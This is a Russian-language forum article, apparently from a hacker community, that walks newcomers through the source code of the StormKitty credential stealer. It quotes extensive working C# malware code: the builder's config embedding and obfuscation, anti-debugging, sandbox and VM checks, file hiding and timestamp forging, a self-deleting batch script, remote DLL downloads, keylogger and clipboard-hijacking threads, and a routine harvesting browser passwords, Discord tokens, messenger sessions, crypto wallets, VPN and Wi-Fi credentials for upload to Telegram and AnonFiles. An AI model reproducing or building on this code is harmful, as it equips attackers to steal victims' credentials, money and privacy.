Please note, if you want to make a deal with this user, that it is blocked.
В таких публикациях мы будем рассматривать под микроскопом исходные коды (открытые, утёкшие, декомпилированные, до каких дойдут руки) или же дизассемблерные листинги так или иначе известной в наших узких кругах малварки. Мы будем всматриваться в общую архитектуру проекта малварки, отдельные её модули и алгоритмы, вплоть до фрагментов кода.
Периодически в нашем уютненьком комьюнити в хорошем или же плохом ключе упоминается «Штормовой Котёнок» (он же «StormKitty»). То его какой-то горе программер или барыга соберёт под новым именем и продаёт за целое состояние. Это все сопровождается некоторым количеством срача на форуме, обсуждения смыслов кулхацкерских жизней, старпёрского брюзжания о том, что раньше было лучше и так далее. Поэтому эту нашу серию статей я решил начать именно со «Штормового Котёночка». Тем более, что написан он на языке C#, что должно немного упрощать понимание исходного кода неофитами (когда не нужно особо отвлекаться на управление памятью и дескрипторами, как в С++ например, в С# за нас это делает сборщик мусора).
Давайте начнём с того, что такое этот «Штормовой Котёнок». Это — классический стилер (stealer) с открытыми исходными кодами, размещённый на Github под чуть ли ни самой либеральной лицензией — «MIT» (хотя кого тут в принципе волнуют оупенсорсные лицензии, правда же). Сейчас автор перевёл его в архив, то есть скорее всего дальше проект не будет развиваться. Функционал проекта в общем то, как у самого обычного стилера, работает с браузерами на базе Chromium, с Firefox, с «Ослом» (Internet Explorer) и Edge, собирает файлы определённых расширений, файлы сессий нескольких разных программ, аккаунты из Outlook и Pidgin, может обеспечивать себе автозапуск самым примитивным способом, должен отсылать логи на онлайн хостинг AnonFiles и в Телеграм, ну и так далее и тому подобное. Скачать весь проект все ещё можно отсюда: https://github.com/LimerBoy/StormKitty Скачайте исходники и разархивируйте их, чтобы параллельно с чтением статьи вы могли бы смотреть исходный код, так будет понятнее скорее всего.
Прежде чем, мы перейдём к обсуждению непосредственно кода проекта, нужно сделать небольшое лирическое отступление о наличии малвари в репозитории. Дело в том, что в папке с проектом лежит бинарная зависимость в виде файла «AnonFileApi.dll». Автор три раза менял эту библиотеку, но хитрый Github всё помнит, так что при желании можно достать любую из трёх версий. Вложенная в эту бинарную зависимость малварь особого интереса не представляет, но в качестве упражнения вы можете её потыкать. Интересно другое: выложить на Github исходники какой-то малвари для образовательных целей формально нарушением закона не является.
Теперь давайте переходить к архитектуре проекта. Весь проект разбит на два подпроекта: «builder» (программа сборщик для стилера, подготавливающий его к непосредственному использованию) и «stub» (собственно сам стилер, который будет запускаться на компьютере жертвы, доставать ценную информацию и отправлять её в Телеграм и отправлять на хостинг файлов AnonFiles). Для начала давайте рассмотрим проект «builder», чтобы понимать процесс создания исполняемого файла стаба, до того, как переходить собственно к коду стаба.
Сборщик представляет собой обычное консольное приложение, которое вшивает в стаб конфигурационные параметры, такие как идентификаторы Телеграмма, адреса кошельков для клипера, должен ли стаб прописывать себя в автозапуск или нет и другие, а так же обфусцирует стаб. Касательно конфигурации Телеграм сборщик проверит доступность API с указанными параметрами, что на самом деле кажется приятным проявлением заботы автора о своих пользователях (мол, если скрипткидис накосячил с идентификаторами API, он узнает об этом на этапе сборки проекта, а не далеко позже).
Непосредственно процесс вшивания конфигурационных данных описан в файле «build.cs», глобальная переменная «ConfigValues» получает значения, которые пользователь ввёл в консоль. Обратите внимание на один забавный факт: в качестве имени мьютекса для стаба используется MD5-хеш от имени пользователя и имени компьютера, где производилась сборка. Не то чтобы кому-то в целом мире понадобилось бы брутить этот хеш, чтобы узнать исходные значения имён компьютера и пользователя, но зачем это нужно было делать именно так — совсем непонятно. Вполне можно было бы просто сделать вызов метода «Guid.NewGuid» или взять хеш от каких-то менее значимых параметров системы.
C#:Скопировать в буфер обмена
public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>
{
{ "Telegram API", "" },
{ "Telegram ID", "" },
{ "AntiAnalysis", "" },
{ "Startup", "" },
{ "Grabber", "" },
{ "Debug", "" },
{ "StartDelay", "" },
{ "ClipperBTC", "" },
{ "ClipperETH", "" },
{ "ClipperXMR", "" },
{ "ClipperXRP", "" },
{ "ClipperLTC", "" },
{ "ClipperBCH", "" },
{ "WebcamScreenshot", "" },
{ "Keylogger", "" },
{ "Clipper", "" },
{ "Mutex", crypt.CreateMD5($"{Environment.UserName}@{Environment.MachineName}") },
};
Некоторые конфигурационные строки зашифровываются с помощью AES и строго фиксированных значений соли и пароля. Ключи можно было бы генерировать на этапе сборки и аналогично строкам вшивать их в стаб. Хотя использование «Rfc2898DeriveBytes» немного улыбнуло, этот класс получает ключи из пароля и соли с помощью генератора псевдослучайных чисел из HMACSHA1, что по идее было бы хорошо, если пароль или хотя бы соль менялись бы от сборке к сборке. Реализацию этого шифрования можно найти в файле «crypt.cs». Странным решением является конвертация шифр-данных в BASE64 строки и добавление к этому всему префикса «CRYPTED:». Таким образом автору не приходится менять тип данных, когда он вшивает зашифрованные данные в стаб (строки заменяет строками), но выглядит это костылём, можно было бы придумать чего получше.
C#:Скопировать в буфер обмена
public static string EncryptConfig(string value)
{
byte[] encryptedBytes = null;
byte[] bytesToBeEncrypted = Encoding.UTF8.GetBytes(value);
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return "CRYPTED:" + Convert.ToBase64String(encryptedBytes);
}
Далее конфигурационные параметры вшиваются в стаб с помощью библиотеки «Mono.Cecil». Эта библиотека позволяет разбирать и модифицировать форматы структур .NET сборок и байт-кода (хотя на мой вкус библиотека «dnlib» куда проще и приятнее в программировании подобных вещей). Формально данный код просто проходит все методы всех классов во всех модулях стаба, находит в них инструкции дотнетовского байт-кода «LDSTR» (загрузка константной строки на стек) и заменяет операнд на строку из конфигурации в том случае, если исходная строка операнд начинается с «---». С точки зрения архитектуры стаба это решение кажется избыточным, наверное имело бы смысл держать всю конфигурацию для стаба в одном классе и проходить только по его методам, а не по всей дотнетовской сборке (конечно же Assembly имеется ввиду).
C#:Скопировать в буфер обмена
public static AssemblyDefinition IterValues(AssemblyDefinition definition)
{
foreach (ModuleDefinition definition2 in definition.Modules)
foreach (TypeDefinition definition3 in definition2.Types)
if (definition3.Name.Equals("Config"))
foreach (MethodDefinition definition4 in definition3.Methods)
if (definition4.IsConstructor && definition4.HasBody)
{
IEnumerator<Instruction> enumerator;
enumerator = definition4.Body.Instructions.GetEnumerator();
while (enumerator.MoveNext())
{
var current = enumerator.Current;
if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
{
string str = current.Operand.ToString();
if (str.StartsWith("---") && str.EndsWith("---"))
current.Operand = ReplaceConfigParams(str);
}
}
}
return definition;
}
После зашивания конфигурационных значений в байт-код стаба, сам стаб отправляется на обфускацию с помощью изъезженного вдоль и поперек разными малварищиками бесплатного обфускатора с открытыми исходными кодами — «ConfuserEx» (одна птичка мне напела, что изъезженного до такой степени, что Антивирус Касперского в принципе считает .NET исполняемые файлы, накрытые «ConfuserEx», как подозрительные). Было бы конечно получше, если бы автор «Штормового Котёнка» удосужился перенаправить вывод от процесса «ConfuserEx» в своё консольное окно (ну чтобы понимать, что конкретно пошло не так, если обфускация провалилась), но имеем то, что имеем (реализация находится в файле «obfuscation.cs» и особого интереса не представляет). Кроме того сборщик может добавить иконку обфусцированному исполняемому файлу, если это нужно (реализовано в файле «icon.cs»). Для добавления иконки используются WinAPI функции для работы с ресурсами PE-файлов, который можно найти в официальных мануалах от «мелкомягких» (Microsoft же, ага, MSDN там всякий). На этом предлагаю закончить копаться в сборщике стаба и перейти к самому интересному — коду самого стаба.
С точки зрения архитектуры проекта стаб представляет собой главный файл «program.cs» и набор модулей, более менее нормально сгруппированных по папкам и подпапкам. Давайте начнём рассматривать стаб с точки входа (статическая функция «Main» класса «Program»), чтобы в последствии было проще понять, как отдельные модули взаимодействуют друг с другом (по сути дела никак, но всё же). Не переживайте мы рассмотрим некоторые интересные модули отдельно чуть попозже.
В самом начале функции Main написана небольшая дотнетовская магия, которую автор проекта любезно отделил для нас комментарием «SSL сучка». Это указание некоторых параметров класса помогающего дотнету осуществлять HTTPS запросы с использованием SSL/TLS. Об этих параметрах можно прочитать на MSDN, но отдельно я хотел бы остановиться на магическом числе 3072 и почему оно такое, какое оно есть. Сам проект стаба собирается под дотнет версии 4.0, который (страшно подумать) был выпущен в бородатом 2010ом году. Так вот в этом бородатом 2010ом году в дотнете, да и в операционных системах семейства Windows, никто ещё и не думал использовать TLS версии 1.2 (хотя эта версия протокола вышла чуть раньше — в 2008ом году, поправьте, если я ошибся в датах того времени, когда динозавры были большими). Поэтому в перечислении «SecurityProtocolType» в дотнет фреймворке 4.0 нет соответствующего TLS 1.2 значения (оно появится только в дотнет фреймворке 4.5, если мне не изменяет память). Численное значение этого сравнительно нового значения перечисления — 3072, то есть автор кода устанавливает это значение в надежде, что стаб все же окажется на современной системе с установленным фреймворков 4.5 или с установленной на уровне системы поддержкой TLS 1.2. Честно говоря, я не в курсе, будет ли выброшено исключение, если такой поддержки нет, или просто будет использован протокол по умолчанию, напишите в комментариях, если знаете точно.
C#:Скопировать в буфер обмена
// SSL сучка
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.DefaultConnectionLimit = 9999;
Далее по коду происходит классическая для малвари защита от повторного запуска, опытным программистам и реверсерам тут должно быть всё понятно, но для неофитов можно немного пояснить. Смысл в том, что создаётся глобальный именованный мьютекс (примитив операционной системы для синхронизации процессов). Конструктор мьютекса в дотнете возвращает информацию о том, был ли мьютекс создан или уже существовал до этого и был открыт. Соответственно, если стаб был запущен несколько раз, то первый его процесс создаст мьютекс и будет работать, а глобальный именованный мьютекс будет существовать до завершения этого процесса. А все последующие процессы «увидят», что мьютекс уже существуют и выйдут. Понятно, что наличие дополнительного глобального именованного мьютекса в системе может выдавать запущенную на системе малварь (если знать, какое имя мьютекса соответствует малвари), но данный стилер и так в отдельном процессе запускается, так что не суть важно.
C#:Скопировать в буфер обмена
internal sealed class MutexControl
{
// Prevent the program from running twice
public static void Check()
{
bool createdNew = false;
Mutex currentApp = new Mutex(false, Config.Mutex, out createdNew);
if (!createdNew)
Environment.Exit(1);
}
}
Затем стаб проверяет, лежит ли исполняемый файл в специальной скрытой самом банальным способом директории, предварительно создав её, если эта директория отсутствовала. Если же исполняемый файл стаба лежит вне этой директории, то файл скрывается аналогичным образом, а именно с помощью выставления аттрибута «hidden» для файла (реализовано в классе «Implant.Startup»). Конечно, ни о каких хитровыдуманных способах сокрытия файла речи тут не идёт, а делать это именно таким образом в 2020 году нужно разве что для галочки и одного дополнительного пункта в списке фич стилера в теме о его продаже, ну вы понимаете. Да и ходят слухи, что некоторые антивирусы находят подозрительным то поведение, в ходе которого исполняемый файл сам себе проставляет аттрибут «hidden», что ну совсем ни разу не удивительно. Ну что уж теперь, едем дальше.
C#:Скопировать в буфер обмена
// Change file creation date
public static void SetFileCreationDate(string path = null)
{
string filename = path;
if (path == null) filename = ExecutablePath;
// Log
Logging.Log("SetFileCreationDate : Changing file " + filename + " creation data");
DateTime time = new DateTime(
DateTime.Now.Year - 2, 5, 22, 3, 16, 28);
File.SetCreationTime(filename, time);
File.SetLastWriteTime(filename, time);
File.SetLastAccessTime(filename, time);
}
// Hide executable
public static void HideFile(string path = null)
{
string filename = path;
if (path == null) filename = ExecutablePath;
// Log
Logging.Log("HideFile : Adding 'hidden' attribute to file " + filename);
new FileInfo(filename).Attributes |= FileAttributes.Hidden;
}
После этого стаб проверяет, прописаны ли в его конфигурации параметры для API Телеграмма. В случае их отсутствия происходит самоудаление. Само собой, разве может быть иначе, самоудаление реализовано по классической для малвари костыльной схеме — через создание и запуск батника. Я очень не люблю этот способ, но почему то вижу его просто повсеместно в любой малварке. Но все же сравнительно приятным бонусом этого кода является вызов «chcp 65001» в начале батника (установка кодировки в UTF-8). Это сделано потому, что пути к файлам могут содержать локализованные символы (кириллицу там, например), а метод «File.AppendText» открывает файл на запись текста в кодировке именно UTF-8. Многие авторы малвари об этом не задумываются, а тут наш Владимир из Украины показал, что умеет обращать внимание на детали (жаль, что это происходит далеко не всегда).
C#:Скопировать в буфер обмена
public static void Melt()
{
// Paths
string batch = Path.GetTempFileName() + ".bat";
string path = System.Reflection.Assembly.GetExecutingAssembly().Location;
string dll1 = Path.Combine(Path.GetDirectoryName(path), "DotNetZip.dll");
string dll2 = Path.Combine(Path.GetDirectoryName(path), "AnonFileApi.dll");
int currentPid = Process.GetCurrentProcess().Id;
// Write batch
using (StreamWriter sw = File.AppendText(batch))
{
sw.WriteLine("chcp 65001");
sw.WriteLine("TaskKill /F /IM " + currentPid);
sw.WriteLine("Timeout /T 2 /Nobreak");
sw.WriteLine($"Del /ah \"{path}\" & Del /ah \"{dll1}\" & Del /ah \"{dll2}\"");
}
// Log
Logging.Log("SelfDestruct : Running self destruct procedure...");
// Start
Process.Start(new ProcessStartInfo()
{
FileName = "cmd.exe",
Arguments = "/C " + batch,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
// Wait for exit
System.Threading.Thread.Sleep(5000);
System.Environment.FailFast(null);
}
Далее в зависимости от конфигурации стаб делает или не делает рандомную паузу (от нуля до десяти секунд). Назначение этого кода не особо понятна в глобальном плане, напишите в комментарии ваши идеи по этому поводу. Реализация самой паузы хранится в классе «Implant.StartDelay».
C#:Скопировать в буфер обмена
internal sealed class StartDelay
{
// Sleep min, sleep max
private static readonly int SleepMin = 0;
private static readonly int SleepMax = 10;
// Sleep
public static void Run()
{
int SleepTime = new Random().Next(
SleepMin * 1000,
SleepMax * 1000
);
Logging.Log("StartDelay : Sleeping " + SleepTime);
System.Threading.Thread.Sleep(SleepTime);
}
}
Затем стаб применяет набор методов для противодействия анализу, в том случае, если факт анализа будет установлен стабом, он выведет подложное (от слова «ложь» а не от слова «ложить») сообщение об ошибке и вызовет код для самоудаления, который мы рассмотрели ранее. Набор методов противодействия анализу довольно стандартный и опять же сделан в основном для галочки. Есть поиск подключённого к процессу стаба отладчика с помощью функции «CheckRemoteDebuggerPresent» (это довольно легко обходится, в отладчике dnSpy есть соответствующий код). Есть попытка определить исполнение внутри эмулятора за счёт функции «Sleep». Смысл этого метода в том, что подавляющее большинство эмуляторов пропускают все вызовы «Sleep», и типа внутреннее значение времени внутри эмулятора при этом не изменяется, поэтому можно проспать 10 миллисекунд и проверить, действительно ли прошло минимум 10 миллисекунд. Эта методика возможно и работала N-лет назад, когда эмуляторы были тупыми и не учитывали «Sleep» в своих внутренних часах, но в 2020 году это вряд ли как-то поможет, скорее может быть сигнатурой для антивируса. Так же есть проверка HTTP-запросом (для определения запуска на VirusTotal, AnyRun и так далее), проверка на наличие внутри процесса стаба динамических библиотек различных сэндбоксов, проверка на наличие некоторых запущенных процессов для динамического анализа малвари и проверка на запуск внутри виртуальной инфраструктуры. Для более менее опытного реверсера все эти проверки особых проблем не должны вызывать, а вот антивирусы с другой стороны могут отнестись к ним неравнодушно.
C#:Скопировать в буфер обмена
internal sealed class AntiAnalysis
{
// CheckRemoteDebuggerPresent (Detect debugger)
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
// GetModuleHandle (Detect SandBox)
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
/// <summary>
/// Returns true if the file is running in debugger; otherwise returns false
/// </summary>
public static bool Debugger()
{
bool isDebuggerPresent = false;
try
{
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent;
} catch { }
return isDebuggerPresent;
}
/// <summary>
/// Returns true if the file is running in emulator; otherwise returns false
/// </summary>
public static bool Emulator()
{
try
{
long ticks = DateTime.Now.Ticks;
System.Threading.Thread.Sleep(10);
if (DateTime.Now.Ticks - ticks < 10L)
return true;
}
catch { }
return false;
}
/// <summary>
/// Returns true if the file is running on the server (VirusTotal, AnyRun); otherwise returns false
/// </summary>
public static bool Hosting()
{
try
{
string status = new System.Net.WebClient()
.DownloadString(
StringsCrypt.Decrypt(new byte[] { 150, 74, 225, 199, 246, 42, 22, 12, 92, 2, 165, 125, 115, 20, 210, 212, 231, 87, 111, 21, 89, 98, 65, 247, 202, 71, 238, 24, 143, 201, 231, 207, 181, 18, 199, 100, 99, 153, 55, 114, 55, 39, 135, 191, 144, 26, 106, 93, }));
return status.Contains("true");
} catch { }
return false;
}
/// <summary>
/// Returns true if a process is started from the list; otherwise, returns false
/// </summary>
public static bool Processes()
{
Process[] running_process_list = Process.GetProcesses();
string[] selected_process_list = new string[] {
"processhacker",
"netstat", "netmon", "tcpview", "wireshark",
"filemon", "regmon", "cain"
};
foreach (Process process in running_process_list)
if (selected_process_list.Contains(process.ProcessName.ToLower()))
return true;
return false;
}
/// <summary>
/// Returns true if the file is running in sandbox; otherwise returns false
/// </summary>
public static bool SandBox()
{
string[] dlls = new string[5]
{
"SbieDll",
"SxIn",
"Sf2",
"snxhk",
"cmdvrt32"
};
foreach (string dll in dlls)
if (GetModuleHandle(dll + ".dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Returns true if the file is running in VirtualBox or VmWare; otherwise returns false
/// </summary>
public static bool VirtualBox()
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
try
{
using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get())
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
if ((managementBaseObject["Manufacturer"].ToString().ToLower() == "microsoft corporation" &&
managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) ||
managementBaseObject["Manufacturer"].ToString().ToLower().Contains("vmware") ||
managementBaseObject["Model"].ToString() == "VirtualBox")
return true;
}
catch { }
foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get())
if (managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VMware")
&& managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VBox"))
return true;
return false;
}
/// <summary>
/// Detect virtual enviroment
/// </summary>
public static bool Run()
{
if (Config.AntiAnalysis == "1")
{
if (Hosting()) Logging.Log("AntiAnalysis : Hosting detected!", true);
if (Processes()) Logging.Log("AntiAnalysis : Process detected!", true);
if (VirtualBox()) Logging.Log("AntiAnalysis : Virtual machine detected!", true);
if (SandBox()) Logging.Log("AntiAnalysis : SandBox detected!", true);
//if (Emulator()) Logging.Log("AntiAnalysis : Emulator detected!", true);
if (Debugger()) Logging.Log("AntiAnalysis : Debugger detected!", true);
}
return false;
}
/// <summary>
/// Run fake error message and self destruct
/// </summary>
public static void FakeErrorMessage()
{
string code = StringsCrypt.GenerateRandomData("1");
code = "0x" + code.Substring(0, 5);
Logging.Log("Sending fake error message box with code: " + code);
MessageBox.Show("Exit code " + code, "Runtime error",
MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);
SelfDestruct.Melt();
}
}
После этого стаб по какой-то причине устанавливает в текущую рабочую директорию значение своей рабочей папки (она была описана ранее). Это подозрительно попахивает говнокодом, так как в принципе в сфере разработки любого программного обеспечения работа по относительным путям является табу (ну или «строгим запретом». Это важный совет, который стоит уяснить неофитам: всегда работайте по абсолютным путям к файлам и каталогам.
C#:Скопировать в буфер обмена
// Change working directory to appdata
System.IO.Directory.SetCurrentDirectory(Paths.InitWorkDir());
Далее стаб выкачивает прямиком из Github аккаунта нашего Владимира из Украины две библиотеки: «DotNetZip» и «AnonFileApi» (ту самую со вложенной малварью мистера кулхацкера Владимира). Стаб на всякий случай пытается выкачать эти библиотеки по три раза, и в случае успеха проставляет этим библиотекам файловый аттрибут «hidden» и изменяет дату создания файла. Этот код конечно очень некрасиво написан (использование while вместо совершенно уместного в этом случае цикла for, проверка на существование файла аж четыре раза и так далее), вызывает некоторое кровотечение из глаз.
C#:Скопировать в буфер обмена
public static bool LoadRemoteLibrary(string library)
{
int i = 0;
string dll = Path.Combine(Path.GetDirectoryName(Startup.ExecutablePath), Path.GetFileName(new Uri(library).LocalPath));
while (i < 3)
{
i++;
if (!File.Exists(dll))
{
try
{
using (var client = new WebClient())
client.DownloadFile(library, dll);
}
catch (WebException)
{
Logging.Log("LibLoader: Failed to download library " + dll);
System.Threading.Thread.Sleep(2000);
continue;
}
Startup.HideFile(dll);
Startup.SetFileCreationDate(dll);
}
}
return File.Exists(dll);
}
Затем стаб дешифрует конфигурационные значения, которые были зашифрованы сборщиком (алгоритм шифрования был уже описан ранее), и проверяет валидность API токена Телеграмма. В случае, если токен не валиден, происходит самоудаление. Ну и после всех этих приготовлений происходит непосредственный сбор паролей и другой полезной информации, упаковка их в ZIP-архив, залив ZIP-архива на сервис AnonFiles и отправка ссылки для скачивания залитого файла в Телеграмм. Кроме того в след за ссылкой стаб должен отправить информацию о компьютере, с которого был собран только что высланный ZIP-архив. Сами алгоритмы всего этого особого интереса не представляют, да и описывать каждый из них очень долго. Отмечу только, что реализация этого всего находится в классах «Report.Telegram», «Filemanager» и «SystemInfo». Ну а некоторые алгоритмы сбора паролей и другой ценной информации мы рассмотрим отдельно (это же самое интересное в стилерах, да?).
C#:Скопировать в буфер обмена
// Decrypt config strings
Config.Init();
// Test telegram API token
if (!Telegram.Report.TokenIsValid())
Implant.SelfDestruct.Melt();
// Steal passwords
string passwords = Passwords.Save();
// Compress directory
string archive = Filemanager.CreateArchive(passwords);
// Send archive
Telegram.Report.SendReport(archive);
После выполнения основного функционала на предыдущем шаге у стаба есть два варианта развития событий: либо завершить исполнение и самоудалиться, либо (если включены клипер и/или кейлоггер) продолжить работу, запустив эти компоненты в отдельных потоках (опять же, если при сборке стаба в конфигурации они были включены). Основной поток же простаивает в ожидании завершения потоков клипера и кейлоггера.
C#:Скопировать в буфер обмена
// Run keylogger module
if (Config.KeyloggerModule == "1" && (Counter.BankingServices || Counter.Telegram) && Config.Autorun == "1")
{
Logging.Log("Starting keylogger modules...");
W_Thread = WindowManager.MainThread;
W_Thread.SetApartmentState(ApartmentState.STA);
W_Thread.Start();
}
// Run clipper module
if (Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1")
{
Logging.Log("Starting clipper modules...");
C_Thread = ClipboardManager.MainThread;
C_Thread.SetApartmentState(ApartmentState.STA);
C_Thread.Start();
}
// Wait threads
if (W_Thread != null) if (W_Thread.IsAlive) W_Thread.Join();
if (W_Thread != null) if (C_Thread.IsAlive) C_Thread.Join();
Архитектурно клипер сделан довольно нелепо по моему мнению, он разбит на несколько модулей, при каждом получении и установки значения буфера обмена почему-то создаётся отдельный поток, при этом можно было бы все делать в одном основном потоке. Для подмены содержимого буфера обмена используется поиск по регулярным выражениям, кроме того оригинальное содержимое буфера обмена логируется в файл. Проверка того, что в буфере обмена появилась новая строка, происходит раз в две секунды. Мне кажется, что все уже давно должны были научиться проверять идентификаторы своих криптовалютных кошельков, когда куда их копируют и вставляют. Клипер реализован несколькими классами из папки «Clipper» и главным управляющим классом «ClipboardManager».
Кейлоггер синхронный и реализован по классической для малвари схеме с использованием функции «SetWindowsHookEx». Для неофитов можно пояснить, что эта функция (когда вызвана с параметром WH_KEYBOARD_LL) устанавливает обработчик на системные события, связанные с клавиатурой, в частности нажатие клавиш. В принципе подобный код можно увидеть в абсолютно любом другом кейлоггере, да и придумывать здесь что-то новое вряд ли необходимо. Для получения конкретного символа из scan кода и virtual key кода используется функция «ToUnicodeEx», при том учитывается текущая раскладка, полученная с помощью функции «GetKeyboardLayout». Такой кейлоггер не сможет определить ввод некоторых хитрых символов (например, немецкого языка, которые требуют последовательного нажатия двух разных клавиш), но в принципе должен выполнять свою функцию исправно. Забавной фичей модуля кейлоггера является поиск открытых вкладок браузера с порно сайтами. Если открыт такой сайт модуль кейлоггера пытается сделать скриншот экрана и снимок веб-камерой. Сразу вспоминаются те самые письма с угрозами об этом, которые массово рассылали по почте всем подряд некоторое время назад. Наличие этого функционала именно в модуле кейлоггера кажется таким бредом, но имеем то, что имеем. Снимок экрана реализован с помощью .NET классов, а снимок веб-камерой — с помощью функций из системной библиотеки «avicap32.dll». Почти уверен, что примерно похожий код вы найдёте по первой ссылке на StackOverflow в поисковых запросах «.net screenshot example» и «.net webcamshot example», или что-то в этом духе. Кейлоггер реализован несколькими классами из папки «Keylogger» и классом «WindowManager», и да, это тоже кажется очень избыточным с точки зрения архитектуры проекта.
Ну а теперь давайте переходить непосредственно к функционалу стилера этого нашего «Штормового Котёночка». Основной функционал по сбору ценной парольной и не только информации разделен на отдельные модули, каждый из которых вызывается отдельно методом класса «Report.CreateReport» в отдельном потоке. При этом страшно подумать, но одновременно запускается 23 потока (ну я насчитал 23 потока, может ошибся на плюс/минус 1-2). История умалчивает, почему нельзя это было сделать итеративно, а не параллельно, при этом не так сильно нагружая операционную систему. Понятно, что разбиение на потоки чуток ускорит всю обработку за счёт файлового ввода вывода, но 23 достаточно нагруженных потока, 23 потока, Карл! Основной поток же ожидает завершения всех новорожденный потоков и только по их завершению продолжает исполнение.
C#:Скопировать в буфер обмена
public static bool CreateReport(string sSavePath)
{
// List with threads
List <Thread> Threads = new List<Thread>();
try
{
// Collect files (documents, databases, images, source codes)
if (Config.GrabberModule == "1")
Threads.Add(new Thread(() =>
FileGrabber.Run(sSavePath + "\\Grabber")
));
// Chromium & Edge thread (credit cards, passwords, cookies, autofill, history, bookmarks)
Threads.Add(new Thread(() =>
{
Chromium.Recovery.Run(sSavePath + "\\Browsers");
Edge.Recovery.Run(sSavePath + "\\Browsers");
}));
// Firefox thread (logins.json, db files, cookies, history, bookmarks)
Threads.Add(new Thread(() =>
Firefox.Recovery.Run(sSavePath + "\\Browsers")
));
// Internet explorer thread (logins)
Threads.Add(new Thread(() =>
InternetExplorer.Recovery.Run(sSavePath + "\\Browsers")
));
// Write discord tokens
Threads.Add(new Thread(() =>
Discord.WriteDiscord(
Discord.GetTokens(),
sSavePath + "\\Messenger\\Discord")
));
// Write pidgin accounts
Threads.Add(new Thread(() =>
Pidgin.Get(sSavePath + "\\Messenger\\Pidgin")
));
// Write outlook accounts
Threads.Add(new Thread(() =>
Outlook.GrabOutlook(sSavePath + "\\Messenger\\Outlook")
));
// Write telegram session
Threads.Add(new Thread(() =>
Telegram.GetTelegramSessions(sSavePath + "\\Messenger\\Telegram")
));
// Write skype session
Threads.Add(new Thread(() =>
Skype.GetSession(sSavePath + "\\Messenger\\Skype")
));
// Steam & Uplay sessions collection
Threads.Add(new Thread(() =>
{
// Write steam session
Steam.GetSteamSession(sSavePath + "\\Gaming\\Steam");
// Write uplay session
Uplay.GetUplaySession(sSavePath + "\\Gaming\\Uplay");
// Write battle net session
BattleNET.GetBattleNETSession(sSavePath + "\\Gaming\\BattleNET");
}));
// Minecraft collection
Threads.Add(new Thread(() =>
Minecraft.SaveAll(sSavePath + "\\Gaming\\Minecraft")
));
// Write wallets
Threads.Add(new Thread(() =>
Wallets.GetWallets(sSavePath + "\\Wallets")
));
// Write FileZilla
Threads.Add(new Thread(() =>
FileZilla.WritePasswords(sSavePath + "\\FileZilla")
));
// Write VPNs
Threads.Add(new Thread(() =>
{
ProtonVPN.Save(sSavePath + "\\VPN\\ProtonVPN");
OpenVPN.Save(sSavePath + "\\VPN\\OpenVPN");
NordVPN.Save(sSavePath + "\\VPN\\NordVPN");
}));
// Get directories list
Threads.Add(new Thread(() =>
{
Directory.CreateDirectory(sSavePath + "\\Directories");
DirectoryTree.SaveDirectories(sSavePath + "\\Directories");
}));
// Create directory to save system information
Directory.CreateDirectory(sSavePath + "\\System");
// Process list & active windows list
Threads.Add(new Thread(() =>
{
// Write process list
ProcessList.WriteProcesses(sSavePath + "\\System");
// Write active windows titles
ActiveWindows.WriteWindows(sSavePath + "\\System");
}));
// Desktop & Webcam screenshot
Thread dwThread = new Thread(() =>
{
// Create dekstop screenshot
DesktopScreenshot.Make(sSavePath + "\\System");
// Create webcam screenshot
WebcamScreenshot.Make(sSavePath + "\\System");
});
dwThread.SetApartmentState(ApartmentState.STA);
Threads.Add(dwThread);
// Saved wifi passwords
Threads.Add(new Thread(() =>
{
// Fetch saved WiFi passwords
Wifi.SavedNetworks(sSavePath + "\\System");
// Fetch all WiFi networks with BSSID
Wifi.ScanningNetworks(sSavePath + "\\System");
}
));;
// Windows product key
Threads.Add(new Thread(() =>
// Write product key
File.WriteAllText(sSavePath + "\\System\\ProductKey.txt",
ProductKey.GetWindowsProductKeyFromRegistry())
));
// Debug logs
Threads.Add(new Thread(() =>
Logging.Save(sSavePath + "\\System\\Debug.txt")
));
// System info
Threads.Add(new Thread(() =>
SysInfo.Save(sSavePath + "\\System\\Info.txt")
));
// Clipboard text
Threads.Add(new Thread(() =>
File.WriteAllText(sSavePath + "\\System\\Clipboard.txt",
Clipper.Clipboard.GetText())
));
// Get installed apps
Threads.Add(new Thread(() =>
InstalledApps.WriteAppsList(sSavePath + "\\System")
));
// Start all threads
foreach (Thread t in Threads)
t.Start();
// Wait all threads
foreach (Thread t in Threads)
t.Join();
return Logging.Log("Report created", true);
}
catch (Exception ex) {
return Logging.Log("Failed to create report, error:\n" + ex, false);
}
}
